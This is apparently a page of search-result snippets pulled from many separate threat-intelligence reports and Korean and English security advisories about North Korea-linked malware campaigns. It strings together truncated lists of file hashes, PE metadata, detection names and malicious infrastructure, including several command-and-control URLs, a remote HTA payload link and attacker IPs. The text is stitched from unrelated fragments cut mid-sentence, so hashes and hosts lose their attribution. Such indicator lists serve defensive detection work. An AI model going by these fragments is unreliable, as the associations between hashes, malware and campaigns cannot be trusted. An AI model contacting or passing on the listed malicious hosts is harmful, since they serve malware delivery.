7a53089053b1381742856a5cf2b95f8b 8db2f20b719dcb7029d6296505622093…","…to Sensitive Data Indicators of Compromise MD5 7a6b45351afef3f5d8015e0fb13342ba 0f5ae560bbaadc7244c6c75da30a101b 501ee5b43833e35a6be3a2f0f977bb7c a5396648475416fcbbedb16470ab98cc f558987b89e65c49739f9b6f69e3c088 SHA-256…","…Size 122880 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 38fc56965dccd18f39f8a945f6ebc439 SHA1 50736517491396015afdf1239017b9abd16a3ce9 SHA256 32ec329301aa4547b4ef4800159940feb950785f1ab68d85a14d363e0ff2bc11 SHA512…","…e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0…","…Spear-Phishing Attack Cases ⚫ 5079606f26ead1c75dbd8731d7033dd6 ⚫ 349965d33186500a42ab6a6efa0befbc ⚫ d55edbe9569f3250784614157c9ffc68 ⚫ 537a11a7d53949c455852b71c6895287 Operation Double…","…Hash-MD5 bec0b7aff4b107edd5b9276721137651 Hash-MD5 86721e64ffbd69aa6944b9672bcabb6d Hash-MD5 509c41ec97bb81b0567b059aa2f50fe8 Hash-MD5 8db349b97c37d22f5ea1d1841e3c89eb Hash-SHA1 6fbb0aabe992b3bda8a9b1ecd68ea13b668f232e Hash-SHA256…","…따라서 출처가 불분명한 파일은 실행을 자제하고, 파일의 확장자를 반드시 확인하는 등 각별한 주의가 필요하다. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a…","…are advised to refrain from opening files from unknown sources and always check the file extension before opening them. MD5 50d4e3470232d90718d61e760a7a62fb 6a84a14dd79396f85abd0e7a536d97fc 7183295e6311ebaaea7794d8123a715e 79573759208d78816316546a9c1f0aec 873579b92d618bf2ed3f67b7a01d7f7a…","…536ee667c 85d3c1500e80b4782f3c1488adacfd14668ad99f3b4f01da3b0c4f31480745b4 2705441758889528e6cf333182799b2e51b458546e7706858e8789eaedb52562 50de7ddaf89d5aec643a449f7bb20e3b3ab5321bba1444a5c746ca4187170777 52fd47ca5f9a4bd2f5a87b4e9de502a93b1eaecdb3e4bf4a3fede0c34e01ab26 ``` ### Staging Paths | Path | Purpose | |------|---------| |…","…1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 Upbit_20240916.docx.lnk MD5 37fb639a295daa760c739bc21c553406 SHA-1 50e4d8a112e4aad2c984d22f83c80c8723f232da SHA-256 41cf6298a41c27357ee5f70d8cd1c0bd48698fc30c4255fad6a91798286e5229 t.zip MD5 4cbafb288263fe76f5e36f1f042be22d s.vbs…","…mastra-1.13.1.tgz (compromised CLI tarball) 221c45a790dec2a296af57969e1165a16f8f49733aeab64c0bbd768d9943badf SHA-256 protocol.cjs 50eae63d3e24be9ca8803f4b5a0408aef97ee3fab7af018d8c2dde7c359edd65 SHA-256 Downloader and backdoor PowerShell script 1d1bf5e8c1539d2f05b1429235b8f4990f87036774be95157b315a7803dd5526 SHA256 Second stage…","…Size 208896 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 c6f78ad187c365d117cacbee140f6230 SHA1 5116f281c61639b48fd58caaed60018bafdefe7a SHA256 d1f3b9372a6be9c02430b6e4526202974179a674ce94fe22028d7212ae6be9e7 SHA512…","…URL http://mail.[removed].co.kr/common/doc June 2018 Attack Indicator Type Indicator Hash 5137f6a59c2c7a54f1a5fc9a9650972b17d52dd0e203f5abefedf5c593c41ff0 Hash fd673703c502be907919a4ff2922b7b969d96d206abc572a5cb83e69ab32ca18 Hash…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2020-05-20 02:03:53-04:00 Import Hash 513e6f9be441b608d02560144adad488 PE Sections MD5 Name Raw Size Entropy 6dead31f52ae9c89182635c7bc5363ff header 1024 2.447679…","…Size 1286144 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 46b3061fe981d0a5edfd8d55f75adf9f SHA1 514263acf79aeb49d87192ae08f6c76854cdda12 SHA256 0967d2f122a797661c90bc4fc00d23b4a29f66129611b4aa76f62d8a15854d36 SHA512…","…합동 보안 권고문에 공개된 침해지표(IoC) 파일을 다음과 같이 진단한다. 침해지표 MD5 진단명 엔진버전 012d5ffe697e33d81b9e7447f4aa338b 설정 파일로서 진단대상 아님 – 51527624e7921a8157f820eb0ca78e29 Backdoor/JS.Agent.SC182439 2022.11.02.03 582a033da897c967faade386ac30f604 Backdoor/JS.Agent.SC182438 2022.11.02.03…","…해당 악성코드 해쉬값 파일명:faultrep.dll 사이즈:261 KB MD5:e4b8e64ba6493120c7728bddc844e628 SHA-1:5162e8b479835c2aff439bf5a0c5e70329d517f3 SHA-256:0b1d881b010b2230a5ba9e5d9a0f0d31e00ccd6ebedd2568e002e6d35d9967ef 이며 2024-08-24 19:53:56 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.…","…85 d0f6cf0d54cf77e957bce6dfbbd34d8e 921aa3783644750890b9d30843253ec6 99fd2e013b3fba1d03a574a24a735a82 0b7dad90ecc731523e2eb7d682063a49 516beb7da7f2a8b85cb170570545da4b SHA1: 07b494575d548a83f0812ceba6b8d567c7ec86ed 2217c29e5d5ccfcf58d2b6d9f5e250b687948440 246018220a4f4f3d20262b7333caf323e1c77d2e 8b6ff…","…to connect to the domain. c0ee19d7545f98fcd15725a3d9f0dbd0f35b2091e1c5b9cf4744f16e81a030c5 Tags trojan Details Name 5182E7A2037717F2F9BBF6BA298C48FB Size 157696 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 5182e7a2037717f2f9bbf6ba298c48fb SHA1…","…Details of this document are below: Filename OKX Binance & Huobi VIP fee comparision.xls Size 219136 bytes MD5 51871504c1d5c09ade5e2a1e6e98c37a SHA1 ae34fa6c6baf77390fb3ff683d880cde14bf893d SHA256 17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b The…","….Net malware based on Quasar RAT md5 : C3885F3C1001A53EB4FBBB4B5F42163E sha1 : 322AD36BF0DB8244B64E2D3AFC1CCF5ED6685DF3 sha256 : 51a92bd57ece4a107dacabf2639b6fa06bea8992e72fc9b4305a90fcd984e752 md5 : 3A7355417EBFDB5067582916BBAF0F15 sha1 : E8BEF41ED7D0704D9206880EE0F30B5ECF30F204 sha256 :…","…3c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2f88038d431bb190454fae02225e639 d0a8cd7584547bdb2959f0d1008e6871 b13ffe7b8e351291250f1a3a855134aa 1dee4c60fffcc80eb4bbd523eedab2f4 8c…","…Size 900096 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 b1dd2c73b3c13a147828f7bb4389d241 SHA1 5275449d25a64e7415c1c1e727a0af76b08c2811 SHA256 0fc12e03ee93d19003b2dd7117a66a3da03bd6177ac6eb396ed52a40be913db6 SHA512…","…MD5 7a73178c682d1a61b2f1c61ae558b608 SHA1 358f4c8575c82f45340886f282d41ca0560cfa6e SHA256 527792dfab79f026eaa6930d2109c93e816ed31826dba0338a9223db71aced18 SHA512…","…Attack Cases ⚫ 2ebf18038e0c81297915a734ba020ff6 ⚫ 3c9fd3716f87fb633af92b1fc93680a6 ⚫ 46dbd03cbdebea6375403955520461bf ⚫ 5295200468cbc4efc7e0b0673d05106d ⚫ f165034e338bab6b121f3ba9bc0374c9 ⚫ f1b9c9a6a5adbddb7eaf64786ed61fee ⚫ f215257eface32e03d91acaf44d91d92 ⚫…","…a6c26a0b5df0db6a35b15c24342f27f8 6e5198c3aae9005cc58d011a8c6f0bec 81bfe3b3204ede1fca418e44aa19b310 52a321e48902b8fbd1e984d9bd15f278 310ebb7ca19ff9b75d4054c340b0c82e ca9cb7bb06398670abc6d19186c336cd C&C 158.247.250.251 95.214.54.164 161.248.239.119…","…MD5 SHA-1 SHA-256 .lnk file https://quantum-software.online/remote/bdg.hta Domain Malicious Domain 52b0b06ab4cf6c6b1a13d8eec2705e3b dfdde88da020e584038d2656d0e3d48cfae27b1a b9899082824f1273e53cbf1d455f3608489388672d20b407338ffeecefc248f1 MD5 SHA-1 SHA-256 Lazarus .lnk…","…files. MD5: b484b0dff093f358897486b58266d069 MD5: f34b72471a205c4eee5221ab9a349c55 MD5: 4c26b2d0e5cd3bfe0a3d07c4b85909a4 MD5: 52ec074d8cb8243976963674dd40ffe7 MD5: d1d779314250fab284fd348888c2f955 MD5: cf733e719e9677ebfbc84a3ab08dd0dc MD5: 01d397df2a1cf1d4c8e3615b7064856c The BeagleBoyz may…","…또한, 주기적으로 PC 검사를 진행하고 보안 제품을 최신 엔진으로 업데이트해야 한다. [파일 진단] Downloader/CHM.Generic (2023.09.02.00) MD5 52f71fadf0ea5ffacd753e83a3d0af1a URL http://navercorp.ru/dashboard/image/202302/4.html http://navercorp.ru/dashboard/image/202302/com.php AhnLab TIP 를…","…their PCs and update their security products to the latest engine. [File Detection] Downloader/CHM.Generic (2023.09.02.00) MD5 52f71fadf0ea5ffacd753e83a3d0af1a URL http://navercorp.ru/dashboard/image/202302/4.html http://navercorp.ru/dashboard/image/202302/com.php Gain access to…","…(GUI) Intel 80386, for MS Windows MD5 11cb4f1cdd9370162d67945059f70d0d SHA1 f59c7ce763c4d5717f986e578e3bce8a43f721d2 SHA256 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 SHA512…","…SHA-256: 738ba44188a93de6b5ca7e0bf0a77f66f677a0dda2b2e9ef4b91b1c8257da790 159.100.250.231 BUFFETLINE SHA-256: 52f83cdaefd194fff3d387631d5693a709cd7b3a20a072e7827c4d4218d57695 107.6.12.135 210.202.40.35 MITRE ATT&CK Lazarus Group – G0032 Commonly Used Port – T1043 Connection Proxy – T1090 Credential Dumping –…","…1480745b4 2705441758889528e6cf333182799b2e51b458546e7706858e8789eaedb52562 50de7ddaf89d5aec643a449f7bb20e3b3ab5321bba1444a5c746ca4187170777 52fd47ca5f9a4bd2f5a87b4e9de502a93b1eaecdb3e4bf4a3fede0c34e01ab26 ``` ### Staging Paths | Path | Purpose | |------|---------| | `C:\\Users\\Public\\Videos\\Samples\\` | Primary staging directory | |…","…is used to remote access the infected machine. SHA256 2e8d2525a523b0a47a22a1e9cc9219d6526840d8b819d40d24046b17db8ea3fb Imphash 52ff8adb6e941e2ce41fd038063c5e0e Rich PE Hash ff102ff1ac1c891d1f5be7294035d19e Filetype PE32+ DLL Compile Timestamp 2022-08-29 06:33:10 UTC Once the file is…","…IOCs Context Filename Hash AutoIT script solmir_1.pdb 5305b8969b33549b6bd4b68a3f9a2db1e3b21c5497a5d82cec9beaeca007630e SuperBear RAT (dumped PE) 4000.explorer.exe 282e926eb90960a8a807dd0b9e8668e39b38e6961b0023b09f8b56d287ae11cb C2…","…Hashes dc06b737ce6ada23b4d179d81dc7d910a7dbfdde a79488b114f57bd3d8a7fa29e7647e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16b90f7e8055edca6f4957efb3e1cd afb2595ce1ecf0fdb9631752e32f0e32be3d51bb e8faa68daf62fbe2e10b3bac775cce5a3bb2999e McAfee…","…이러한 사례는 데이터 유출, 랜섬웨어 감염, 금융 사기로 이어질 수 있어 지속적인 모니터링이 필요하다. MD5 15adac4d6fc1bddb0c940cdc0c6605b4 53636c80d43a3c461dc8a3d2a2f2d4e1 750173f1b36e502ff17e2c5eec03c602 8edc77fb36bf80bb52d158cf9043cecd b15a55f9a23998b1976622bd3b9a3ad9 Tags: Andariel Everest 금융권…","…Lost_File.so Size 108896 bytes Type 64-bit XCOFF executable or object module MD5 46b318bbb72ee68c9d9183d78e79fb5a SHA1 5375ad3746ce42a6f262f55c4f1f0d273fb69c54 SHA256 10ac312c8dd02e417dd24d53c99525c29d74dcbc84730351ad7a4e0a4b1a0eba SHA512…","…34 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 afadab22f770956712e9c47460911dad b9c2111c753b09e4cc9d497f8fd314fc b128c5db5d973be60f39862ba8bfb152 bfb02dee62c38c3385df92b308499b31 ca…","…- 8346D90508B5D41D151B7098C7A3E868 Sha256 - 3314B6EA393E180C20DB52448AB6980343BC3ED623F7AF91DF60189FEC637744 MD5 - 537806C02659A12C5B21EFA51B2322C1 PDF File Visual lure Sha256 - F58A9905AAD4D82A89A787017F1A357309CAA01E2DA081D76671F3319C66AA74 MD5 -…","…Attack Cases ⚫ 5079606f26ead1c75dbd8731d7033dd6 ⚫ 349965d33186500a42ab6a6efa0befbc ⚫ d55edbe9569f3250784614157c9ffc68 ⚫ 537a11a7d53949c455852b71c6895287 Operation Double Barrel 62 C.…","…Type Value SHA-256 15208030eda48b3786f7d85d756d2bd6596ef0f465d9c8509a8f02c53fad9a10 MD5 60aaafce354ae5e0b8115729464a8b24 SHA-1 53948d9596ebab5c4cf2ac04e7fb70c429e0cbbf Imphash 82a8292007e682f1a127ba8dcebfae96 Rich Hash c8040dd3ff2f4afd042efd4ebe1a43c6 SSDEEP…","…x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|WEAK_DEFINES|BINDS_TO_WEAK|PIE> MD5 aeee54a81032a6321a39566f96c822f5 SHA1 53aa0971eb5d53ed242764ebfc89ad591a5211b2 SHA256 5e54bccbd4d93447e79cda0558b0b308a186c2be571c739e5460a3cb6ef665c0 SHA512…","…f7 09b91626507a62121a4bdb08debb3ed9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef…","…Indicators of Compromise Domain Name support.cloudstore.business support.docsend.site IP 104.168.165.203 104.168.157.45 MD5 53b68b9304a0462761917608ca4e60e7 3d14dd06d85f513dfa96d875fdcc0298 0cbc6df98ce1d302f51714e100560a4d a26c2442743d234ccd3b0d104e13a798 3439de0b221320f58e3432c2672c4074 a4…","…4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c 54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0 56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283…","…5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 d5101c3b86d973a848ab7ed79cd11e5a 3dc840d32ce86cebf657b17cef62814646ba8e98…","…SHA-1 540853beffb0ba9b26cf305bcf92fad82599eb3c e3069713add2d99750af6c30580fb3595a0b6abc Remediation Block all threat indicators at your respective controls. Search for indicators…","…any user interaction or pop-ups. The provided URL → Hosts an MSI file , which is fetched remotely and executed. sha256 : 541039d4eb67935884830657213991ba5da85f0650df6329c7153702a577a26a filename : installerr.msi Potential Threat: Attackers often use remote MSI installations to deploy malware without user…","…Korea Conference _ Examination Documents\") URL: http://discgolfglow.com:/wp-content/plugins/maintenance/images/worker.jpg SHA256: 5441f45df22af63498c63a49aae82065086964f9067cfa75987951831017bd4f Filename: 저는요 북조선 강원도 문천 사람이에요.hwp (\"I'm a munchon person from Gangwon Province in North Korea.\") URL:…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-06-18 08:03:21-04:00 Import Hash 5446c3bf7cbf3287d9a8bffcc3ac95a9 PE Sections MD5 Name Raw Size Entropy f415a11b78cf73e9c20856ebf542c7c5 header 1024 2.732806…","…(GUI) x86-64, for MS Windows MD5 6ab301fc3296e1ceb140bf5d294894c5 SHA1 8d62498656db928f987b47bdbcfab5d6032be48a SHA256 546dbd370a40c8e46f9b599a414f25000eec5ae6b3e046a035fe6e6cd5d874e1 SHA512…","…and steal valuable intellectual property. Impact Data Theft and Espionage Sensitive Data Exposure Indicators of Compromise MD5 548c04abddb39c52136d29cf54921fa3 SHA-256 d11b41aee220b451393598677d7e62b4ff8fb1989bcdea4a9a25a6d207c5aa39 SHA1 315d3f8ead6f173261c06c04b385737bb7a03c12 URL…","…Name NodeDLL.dll Size 537616 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 549db64ceaebbbdd9068d761cb5c616c SHA1 6d91ce7b9f38e2316aa9fb50ececc02eadc4cd70 SHA256 755bd7a3765efceb8183ffade090ef2637a85c4505f8078dda116013dd5758f3 SHA512…","…Hash-MD5 c61256583c6569ac13a136bfd440ca09 Hash-MD5 31dab68b11824153b4c975399df0354f Hash-MD5 54a116ff80df6e6031059fc3036464df Hash-MD5 d6114ba5f10ad67a4131ab72531f02da Hash-MD5 05a00c320754934782ec5dec1d5c0476 Hash-MD5…","…SHA-256 e3c505b2457b1ac51c32bf428df070be0aa01fc90f3e35c68224832d83250c46 54bbf9a07b0b89c0501359077aa98d707ac42b22b0f628265f70237e8a71194f 75c81169d679fab821d77ea672f5a878626eb22d2110ffd7407623cb154ededd 274f4412999f561428930bd6ff38cd8e0062e5a6c9aea3e851c6752b7940ff08 090789…","…out Manhattan.scr Dropped #1 SHA256: 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 Filename: conhote.dll #2 SHA256: 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc Filename: winnit.exe #3 SHA256: 92600679bb183c1897e7e1e6446082111491a42aa65a3a48bd0fceae0db7244f Filename: Anti virus service.lnk CC…","…% codesign -dvvv AppleJeus/C/unioncryptoupdater Executable=/Users/patrick/Malware/AppleJeus/C/unioncryptoupdater Identifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 CodeDirectory v=20100 size=739 flags=0x2( adhoc ) hashes=15+5 location=embedded Hash type=sha256 size=32 Signature=adhoc Using macOS’s…","…04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f IP 216.219.87.41 74.50.94.175 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…iexplorer.exe injected malware md5 : 327865FA4009FC6A4D2EAD8AA523EEFF sha1 : B889A52BE4E070FDEBED48392574029766FE603D sha256 : 55689D91DF8435A5040ABD591537BD6893166E402E6E5610E49BE76384EF9F1D C2 http://lovelovelove.atwebpages.com/home/jpg/post.php http://lovelovelove.atwebpages.com/home/jpg/download.php?filename=lover01 Mutex…","…진단] Downloader/VBS.Generic Trojan/Win.MSILKrypt.R492841 MD5 34b7356722b992992f5382b0761466bc 3ad7a29a1f661034da0b3779a4046849 5573953bf4dafa96877dacf3435db228 94fdc2115ce7f4ab0234a1e26901cb1c a15c386db0a3d0d208042d0982f21f37 URL…","…IoC Indicator Type Description Detection Name 5577fffb5b5acd3771ef9dc696498f1e MD5 LNK 파일 Trojan.Agent.LNK.Gen 302725413076d1aeaee2d7f2b3692646 MD5 LNK 파일 Trojan.Agent.LNK.Gen…","…422a221851ea6ad15f53cd3aea51c8af 49bdbe7e6cbb88842afcce3a9fe60e9b 4d87fef16790cbe1df72007d99149665 5577fffb5b5acd3771ef9dc696498f1e 5af95590a33b9bc64d95808f1fc71b78 5c5672bb14e1d2f07a8318ffec19b213 6add815cd61d6514f81a23ab8c23405a…","…file analyzed for this report had the following details: Filename history SHA1 9b86888a83dd0dd1c3a0929f1ea53b82 MD5 558ce5e8c0b1b0a76b88db087f0c92f7a62716fe SHA256 5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 Notes Shellcode with embedded PE.…","…Downloader/DOC.External (2023.02.03.03) Downloader/DOC.Kimsuky (2023.02.07.00) MD5 3cdf9f829ed03e1ac17b72b636d84d0b 55a46a2415d18093abcd59a0bf33d0a9 705ef00224f3f7b02e29f21eb6e10d02 83b4d96fc75f74bb589c28e8a9eddbbf 873b2b0656ee9f6912390b5abc32b276 URL…","…Dropper/VBS.Generic.SC183898 (2022.10.19.03) Dropper/Win.AppleSeed.R531012 (2022.10.20.00) Dropper/VBS.VBS (2022.10.19.03) MD5 55a9a935b36da90fb5a7ab814d567a40 ba83312ea92c284c710bcc0906a29fb1 URL http://ndt.info.gf/index.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수…","…downloaded malware (0xFF encoded) md5 : 77F67E93C8BDEA2CE9A66012B5EA2929 sha1 : 55AE82C3D83E95B93AAC9047B5AC35B72CC29BC2 sha256 : 1DB71AF7956F90AF9544C370A9DD3570CFBE04010C7608E5A160B997CF134F89 downloaded malware (0xFF decoded) md5 :…","…Size 258052 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 61e3571b8d9b2e9ccfadc3dde10fb6e1 SHA1 55daa1fca210ebf66b1a1d2db1aa3373b06da680 SHA256 70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3 SHA512…","…f84e5a 48ba9d01f1fba5421e8bfbdd384a3849916bbd3e7930557f7d8f92f27cceb5fe 493aadefcf45642c34b4d84a84a41da9ac173b52c3217f62b3e25ece6379bd94 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e29 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b 58dc45c15d17c609f5237abf9a6d0a896a310bfd3406e72413b2929c781d6979 59203b…","…Type zlib compressed data MD5 2f6573b3ae4262f04227468aab353387 SHA1 dd9058e3a6c791b18bf561a3177788cf60cd6e91 SHA256 55eacc25e9eaba5d3f04b6cbcac2e16879b83d967596d645e5ec4b8f42656ef9 SHA512…","…MD5 064d696a93a3790bd3a1b8b76baaeef3 55f0225d58585d60d486a3cc7eb93de5 67d306c163b38a06e98da5711e14c5a7 747177aad5aef020b82c6aeabe5b174f 8adeeb291b48c97db1816777432d97fd SHA1…","…MD5 56018500f73e3f6cf179d3b853c27912 SHA256 4c3499f3cc4a4fdc7e67417e055891c78540282dccc57e37a01167dfe351b244 Creation Time 2021-01-09 02:17:51 Export…","…294c597c89023093e1e175949f5104f887b89cd8e1cf1d3192ee9032739f259e EtherRAT MSI loader File 5623f4f8942872b2b7cb6d2674c126a42bdf6ed5d1f37c1afc348529e4697d73 EtherRAT stage 1 File b1ee812e7c786c8696f913595658e57706d97a66ca7b7634f421f5c552e7002b…","…Size 521660 bytes Type Microsoft Word 2007+ MD5 56470e113479eacda081c2eeead153bf SHA1 c70edfaf2c33647d531f7df76cd4e5bb4e79ea2e SHA256 7933716892e0d6053057f5f2df0ccadf5b06dc739fea79ee533dd0cec98ca971 SHA512…","…PE Metadata Compile Date 2020-02-25 03:46:13-05:00 Import Hash 565005404f00b7def4499142ade5e3dd PE Sections MD5 Name Raw Size Entropy 695567cdbccfbe54b19634abe3bb1e5b header 1024 2.723717…","…PE Metadata Compile Date 2020-03-17 21:02:52-04:00 Import Hash 565005404f00b7def4499142ade5e3dd PE Sections MD5 Name Raw Size Entropy d959d6ecb853f993046f81f109f7a5a9 header 1024 2.714314…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2020-03-30 02:52:41-04:00 Import Hash 565005404f00b7def4499142ade5e3dd PE Sections MD5 Name Raw Size Entropy 7ad599057f9d62e659ad5265b6bf8c8e header 1024 2.724023…","…Size 117760 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 062e9cd9cdcabc928fc6186c3921e945 SHA1 566347f8bf30f66aec670d660091fb6bb03a0650 SHA256 8ee7da59f68c691c9eca1ac70ff03155ed07808c7a66dee49886b51a59e00085 SHA512…","…87e3e59f6653ae1306461bf9683bda92f442d77f fe93382464347be4361c7e8fb131a668 566835ce413271ddca8d5014c912dda8ba7e5e45573a7da6ba8e20d72541a2ca 73d6694a0339cc4083f66395b6b4b3da324e2113 6f736eac915c2b647bfbba9e5dccf0cb…","…2f6fe22be1ed2a6ba42689747c9e18a0 5a223c70b65c4d74fea98ba39bf5d127 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30…","…SHA-256 317d733031850427b6738dc9213890e7a4eac51fcb88f7c99b2fbca4cd77a561 56a666601e66a01cc8dcb53a470d9ea092633c76197cd13919c7749e51ebccbc b1f371ef6f978b44258ab235e79de39a8e7f7342eb0b282317cee5f5ebbd0864 SHA1…","…정기총회.doc :Trojan/DOC.Agent (2022.03.23.00) – 주주물량관련.doc :Trojan/DOC.Agent (2022.03.23.00) MD5 0ecc9a4cea5c289732c76234c47a60e9 56a936b9b3a3bdafed40cf5d056febaf 7a2f350a2a6aa1d065c2b19be6dc6fb4 82ed73e4adbe5c26bafb5072657fd46b 869f98aac4963c7db7276d2a914d081e URL…","…d9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0eba111b570bb1c93ca1f48557d265b ef1a8f66351d03413ed2c7d499ee5164 f7…","…54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0 56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283 5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287…","…Filename: How can North Korean hydrogen bomb wipe out Manhattan.scr Dropped #1 SHA256: 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 Filename: conhote.dll #2 SHA256: 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc Filename: winnit.exe #3 SHA256:…","…onward. Android Chinotto Based on the C2 communication pattern, we discovered an Android application version of Chinotto malware (MD5 56f3d2bcf67cf9f7b7d16ce8a5f8140a ).…","…침해 지표 (Indicator of Compromise) ● MD5 56fa059cf7dc562ce0346b943e8f58bb b5080c0d123ce430f1e28c370a0fa18b e86a24d9f3a42bbb8edc0ca1f8b3715c a12757387f178a0ec092fb5360e4f473 75ec9f68a5b62705c115db5119a78134 ● MD5…","…d4 b77e4e9f5897f00dcbd08b2ee9bde7e8 74b1d5f857a4245aef8189ac4f409a99 6cbc007799b56682ac196e44d79e496d a9d80e7fe3f217ea4d33f8a4a0f3f73c 57015267d06b0d80721015ccd29a04cd 5076c579e378f976a57e862e5b6a7859 45ed6abfc12be606bdbcfe76bd17b2af b36159563452d9a837a5e566ad2a1e44 522a122f3cd4c488a51d81c846bfabbb c2…","…first public announcement of the KelpDAO incident, the attackers deployed a new version of ROOFDECK to the compromised machine (SHA-1: 5728b11d30586bbfc1d8bd12df1c722a06e767a2 , path ~/Library/com.apple.appleaccountd/loginwindow ) as an executable named loginwindow . After the new version initialized and…","…188754814b37927badc988b45b7c7f7d6b4c8dd3 c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290…","…MD5 SHA1 SHA256 3CX Windows Installer 5729fb29e3a7a90d2528e3357bd15a4b 19f4036f5cd91c5fc411afc4359e32f90caddaac 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 MD5 SHA1 SHA256 3CX macOS…","…K7 Trojan ( 00569b451 ) Zillya! Trojan.Generic.Win32.1058845 YARA Rules No matches found. ssdeep Matches 94 572a124f5665be68eaa472590f3ba75bf34b0ea2942b5fcbfd3e74654202dd09 PE Metadata Compile Date 2020-02-25 03:46:13-05:00 Import Hash 565005404f00b7def4499142ade5e3dd PE Sections…","…(GUI) x86-64, for MS Windows MD5 149a696472d4a189f5896336ab16cc34 SHA1 decb43141699e43a1d27dc2db063e0020f9f33aa SHA256 572a124f5665be68eaa472590f3ba75bf34b0ea2942b5fcbfd3e74654202dd09 SHA512…","…ceb5fe 493aadefcf45642c34b4d84a84a41da9ac173b52c3217f62b3e25ece6379bd94 55e69e1337af0d93b5a3742d999bf805177c404e7e60e48f303509592ecd0e29 575606c03d3775cd8880c76a3ef7c014cfcab08411a01f07fc3fcb60166be50b 58dc45c15d17c609f5237abf9a6d0a896a310bfd3406e72413b2929c781d6979 59203b2253e5a53a146c583ac1ab8dcf78f8b9410dee30d8275f1d228975940e 